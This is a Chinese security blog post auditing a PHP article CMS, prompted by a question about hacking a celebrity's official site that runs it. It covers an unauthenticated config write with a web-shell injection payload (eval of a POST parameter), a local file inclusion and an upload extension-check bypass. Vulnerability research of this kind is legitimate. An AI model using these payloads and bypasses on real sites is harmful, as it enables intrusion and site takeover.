作者:心灵
某个明星官方用这个系统,今天有个网友问我这个程序是否能日下,为了这个明星,决定帮忙看了下。
下载地址:http://www.codefang.com/soft/sort02/down-4760.html#download
经典对白看代码....
漏洞一:
直接写配置文件:admin\Admin_Setting.php。
以下是引用片段:
//文件头没有任何验证登录过程 直接访问
<?php
$arttitle=$_REQUEST["arttitle"];
$artsubtitle=$_REQUEST["artsubtitle"];
$artindex=$_REQUEST["artindex"];
....省略
$artdatabase=$_REQUEST["artdatabase"];
if ($_SERVER['REQUEST_METHOD']=="POST"){
$fp=fopen("../Config.php",w); //V5
$tempcontent="
<?php
//DATABASE INFO
define('DB_HOST','$arthost');
define('DB_USER','$artusername');
define('DB_PASSWORD','$artpassword');
define('DB_DATABASE','$artdatabase');
//SYSTEM PROPERTIES
define('ART_TITLE','$arttitle');
define('ART_SUBTITLE','$artsubtitle');
define('ART_INDEX','$artindex');
define('ART_DIR','$artdir');
define('ART_URL','$artindex$artdir');
define('ART_PAGESIZE',$artpagesize); //V5 V5 直接写马儿 );eval ($_POST[qq]);exit(
define('ART_SKIN','$artskin');
.....省略>";
fwrite($fp,$tempcontent,strlen($tempcontent)); //V5
fclose($fp); |
自己架设一台 MYSQL 服务器,然后设置。。。。。 就直接登录后台,有什么用?一会说。
注:此方法不推荐用,你又不能帮别人改回去。
漏洞二:admin/index.php
以下是引用片段:
<?php include "../Config.php";?>
</head>
<body>
<?php checkadmin();?> //配合漏洞一能绕过
<div id="container">
<div id="header">
<h2><?php echo "<a href='".ART_URL."' title='".ART_TITLE."'>".ART_TITLE."</a>" ?> [管理中心]</h2>
<h3><?php echo ART_SUBTITLE ?></h3>
</div>
<div id="maincontent">
<div id="sidebar">
<?php include "Admin_Sidebar.php";?>
</div>
<div id="main">
<?php
if ($_REQUEST["Act"]!=""){
include "Admin_".$_REQUEST["Act"].".php"; //本地包含漏洞 利用超长字符截断......... |
但由于漏洞一问题,所以就不用了。然后就是分析一些代码的(在这系统中不是漏洞,仅供学习)。
Function.php:
<?php
function msgurl($str1,$str2="Index.php"){
echo "<script>alert('$str1');location.href='$str2';</script>";
} //这里设置浏览器关闭脚本的话 能绕过
function checkadmin(){
if ($_SESSION["username"]==""||$_SESSION["admin"]!=1){
msgurl("你未登录或登录已经超时,请重新登录!","Admin_Login.php");
exit; //这里正确
}
} |
还有一个有趣的,Admin\Admin_Upload.php,此文件没有验证登录,能直接访问使用。
以下是引用片段:
if ($TextField=="artthumb"){
$acceptext="jpg,jpeg,bmp,gif,png";
}
$extname=substr($upload_file_name,strpos($upload_file_name,".")+1);
if (strpos($acceptext,$extname)===false){ //第一次见用这个函数来判定
msgurl("不允许的后缀名 .".$extname,"Admin_Upload.php?TextField=".$TextField);
exit;
} |
那么上传后缀为:1.jp,或者:1.,jpeg,bmp,或:1.ng,全部能上传,但不能解析这些文件(除你能控制 WEB SERVER 设置,增加未知后缀解析为 PHP)。
文章作者
Nuclear'Atk
上次更新
2011-03-03
许可协议
Nuclear'Atk(核攻击)网络安全实验室版权所有,转载请注明出处。